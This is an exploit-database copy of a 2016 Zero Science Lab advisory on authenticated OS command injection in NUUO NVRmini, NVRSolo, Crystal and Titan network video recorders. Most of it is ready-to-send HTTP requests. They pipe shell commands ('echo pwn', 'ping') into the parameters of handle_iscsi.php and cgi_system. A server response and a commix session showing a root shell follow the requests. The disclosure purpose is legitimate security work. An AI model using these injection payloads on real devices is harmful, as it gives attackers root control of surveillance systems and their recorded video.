NUUO Multiple OS Command Injection Vulnerabilities Vendor: NUUO Inc. Product web page: http://www.nuuo.com Affected version: <=3.0.8 (NE-4160, NT-4040, NT-4040(R)) DP: <=04.07.0000.0030, <=04.03.0000.0035 FW: <=02.02.00, <=1.7.0 Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS functionality. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always. NUUO Titan NVR is NUUO's Linux-based open platform recording solution. It is built on Linux Foundation, with cross-platform Windows and MAC client software. It supports up to 64 channels of megapixel recording with 250 Mbps throughput. It also comes with a myriads of features that will sure to fulfill even the most demanding projects. Supports over 2300 camera models from over 100 vendors. Desc: NUUO NVRmini, NVRmini2, Crystal, NVRSolo and NVRTitan suffers from multiple authenticated OS command injection vulnerabilities. This can be exploited to inject and execute arbitrary shell commands as the root user. Tested on: GNU/Linux 3.0.8 (armv7l) GNU/Linux 2.6.31.8 (armv5tel) lighttpd/1.4.28 lighttpd/1.4.35 PHP/5.5.3 PHP/5.6.0 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5351 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5351.php 14.01.2016 -- NVRTitan: POST /handle_iscsi.php HTTP/1.1 Host: 10.0.0.17 Content-Length: x Origin: http://10.0.0.17 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: */* Referer: http://10.0.0.17/iscsi.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: PHPSESSID=c9fdced9e8129eb4c14e3154cd0e0ce3; lang=en; loginName=admin Connection: close act=discover&address=1.1.1.1|echo%20pwn&port=3260 HTTP/1.1 200 OK X-Powered-By: PHP/5.6.0 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-type: text/html; charset=UTF-8 Connection: close Date: Mon, 18 Apr 2016 08:52:17 GMT Server: lighttpd/1.4.35 Content-Length: x pwn ============================================================ NVRmini/2/Solo/Crystal: GET /cgi-bin/cgi_system?cmd=raid_setup&act=getsmartinfo&devname=|ping%20-n%200%20localhost&rand=1452765315144 HTTP/1.1 Host: 10.0.0.17 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 X-Requested-With: XMLHttpRequest Accept: */* Referer: http://10.0.0.17/raid.php Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Cookie: PHPSESSID=3bc601000ea8f085c22cb37b9b102b7f; lang=en Connection: close --- POST /cgi-bin/cgi_system?cmd=saveconfig HTTP/1.1 Host: 10.0.0.17 Content-Length: 97 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://10.0.0.17 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://10.0.0.17/save_config.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: PHPSESSID=3bc601000ea8f085c22cb37b9b102b7f; lang=en Connection: close bfolder=%2Fmtd%2Fblock3&bfile=|ping%20-n%200%20localhost&inc_emap=no&inc_pos=no --- Sample session from commix: Shell > whoami root Shell > ls Default.ini EMap PatrolOpt003.xml PatrolOpt009.xml PatrolOpt015.xml access apcupsd authority.lic auto_upgrade.ini autoarchive.ini camera.ini cameraparam.ini cmsserver.ini cmsstat daylightsaving.ini ddns.ini dualstreaming.ini email.ini eventaction.ini ezNUUO iobox.ini lenssetting.ini lighttpd-inc.conf lighttpd.conf liveserver.ini notice.ini nuservice.conf pos proftpd-inc.conf pushnotification raid_info.xml recordingmode.ini schedule.ini scheduler_dio.ini scheduler_motion.ini smb-inc.conf version.xml # Iranian Exploit DataBase = http://IeDb.Ir [2016-08-08]